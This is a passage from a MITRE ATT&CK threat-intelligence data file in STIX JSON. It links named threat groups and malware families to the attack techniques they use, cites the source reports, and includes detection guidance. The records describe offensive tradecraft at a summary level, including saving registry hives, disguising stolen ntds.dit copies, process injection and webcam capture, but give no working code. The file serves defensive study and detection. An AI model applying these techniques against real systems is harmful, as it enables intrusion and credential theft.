Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T14:51:08.671Z","description":"(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--202ed36b-9052-4464-b6a0-34258ba7a9ab","type":"relationship","created":"2019-01-30T15:19:14.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.507Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--203108df-424d-4dfe-ac45-3cbd84c71615","type":"relationship","created":"2020-12-01T15:02:30.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T15:02:30.819Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can enumerate shared drives on the domain.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2035eee7-c1c3-4039-9fc0-af85b21a5e3f","type":"relationship","created":"2021-11-12T19:30:36.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2021-11-12T19:30:36.047Z","description":"[Diavol](https://attack.mitre.org/software/S0659) will terminate services using the Service Control Manager (SCM) API.(Citation: Fortinet Diavol July 2021) ","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20384b7e-e720-44ed-9aea-7f6857ce18c1","created":"2023-08-01T18:40:48.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:23:26.907Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used legitimate looking filenames for compressed copies of the ntds.dit database and used names including cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe for the Earthworm and Fast Reverse Proxy tools.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--203e48b0-5175-4cc9-9e49-8cae08f26f52","type":"relationship","created":"2021-08-31T22:15:50.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T17:33:08.769Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has reflectively loaded the decoded DLL into memory.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2043a8a7-d365-4f5c-9ee3-5b9be710f14d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"},{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.272Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has the capability to capture video from a webcam.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2045cbbe-6046-44ae-a255-6c038da68cd5","type":"relationship","created":"2022-03-04T18:58:46.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2022-03-04T18:58:46.297Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) has used DirBuster and GoBuster to brute force web directories and DNS subdomains.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2050b131-d5e1-419c-ad85-660fba4004d7","type":"relationship","created":"2020-06-10T21:56:39.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-18T20:24:20.645Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20536e06-4457-4a3d-abc8-1cba5b348f53","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by Netsh Helper DLLs.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20599767-204a-4cbf-ada7-0f931ee925e4","type":"relationship","created":"2020-05-05T19:37:33.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.548Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has prompted victims to accept macros in order to execute the subsequent payload.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--205b4267-e86d-46a1-8aa6-61475cd90b80","created":"2022-06-15T12:43:57.068Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can collect the MAC address and other information from a victim machine using `ipconfig/all`.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:52:39.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--205c5e6d-90c1-4369-98ee-9968f87d687c","created":"2023-01-10T18:57:17.751Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T18:57:17.751Z","description":"(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--205fcd17-c115-4bdb-8a05-6b4b4299854d","created":"2022-04-20T20:57:39.577Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.","modified":"2022-04-20T20:57:39.577Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2062ec61-e6b5-45dd-8d2d-71aa5aa1f6e8","type":"relationship","created":"2021-01-28T19:56:08.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.030Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has a function called \"DeleteLeftovers\" to remove certain artifacts of the attack.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2063f611-1da2-4a62-bbb6-38b37580679f","type":"relationship","created":"2020-07-01T20:35:01.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.370Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2067eae0-bab7-4737-a5ad-9c4c439d6a2c","type":"relationship","created":"2020-01-31T18:59:38.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T18:59:38.510Z","relationship_type":"revoked-by","source_ref":"attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--206c3b88-3649-47ae-ae0d-66ceaf91186e","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor newly executed processes that may abuse Microsoft Outlook rules to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--206ded49-56fc-4c86-ab43-f4d45f5c343c","type":"relationship","created":"2020-02-18T18:23:31.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T18:23:31.836Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142","target_ref":"attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--206ef2a2-192c-4739-a1bf-b5616dcacfed","created":"2019-06-20T14:52:45.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye HAWKBALL Jun 2019","description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:23:37.190Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted the payload with an XOR-based algorithm.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20710360-f3dd-4445-8a48-a2c905abdcdc","created":"2024-02-22T22:47:02.148Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:47:02.148Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used built-in net commands to enumerate domain administrator users.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20737ae3-ef85-4b27-8e05-49aaea3dc81e","created":"2024-03-04T21:29:17.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS RE:Inforce Threat Detection 2024","description":"Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.","url":"https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"},{"source_name":"Okta Cross-Tenant Impersonation","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T21:30:42.922Z","description":"Monitor changes to cloud-based directory services and identity tenants, especially regarding the addition of new federated identity providers. In Okta environments, the event `system.idp.lifecycle.create` will trigger on the creation of an identity provider, while sign-ins from a third-party identity provider will create the event `user.authentication.auth_via_IDP.`(Citation: Okta Cross-Tenant Impersonation) In AWS environments, alert on events such as `StartSSO`, `CreateSAMLProvider`, or `CreateOIDCProvider`.(Citation: AWS RE:Inforce Threat Detection 2024)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20740afb-283e-4143-ab47-685d4c73beda","created":"2023-09-13T19:06:31.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T17:10:57.010Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can use visual basic scripts for first-stage execution.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20748bc7-183a-49f3-9c95-802aa5384aca","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpected hardware devices, or other uncommon data flows.","modified":"2022-04-12T13:14:06.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2077bc66-a671-4cc3-87cf-9efff8e969dc","created":"2022-09-29T16:44:52.948Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T16:44:52.948Z","description":"(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20785dd8-7692-4dcd-81ee-06bc9faa001c","created":"2023-08-17T19:20:49.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:21:28.728Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used the `reg save` command to save registry hives.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f","created":"2019-01-30T19:18:20.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"},{"source_name":"TrendMicro MacOS April 2018","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"},{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T22:45:23.233Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) deletes the app bundle and dropper after execution.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: Unit42 OceanLotus 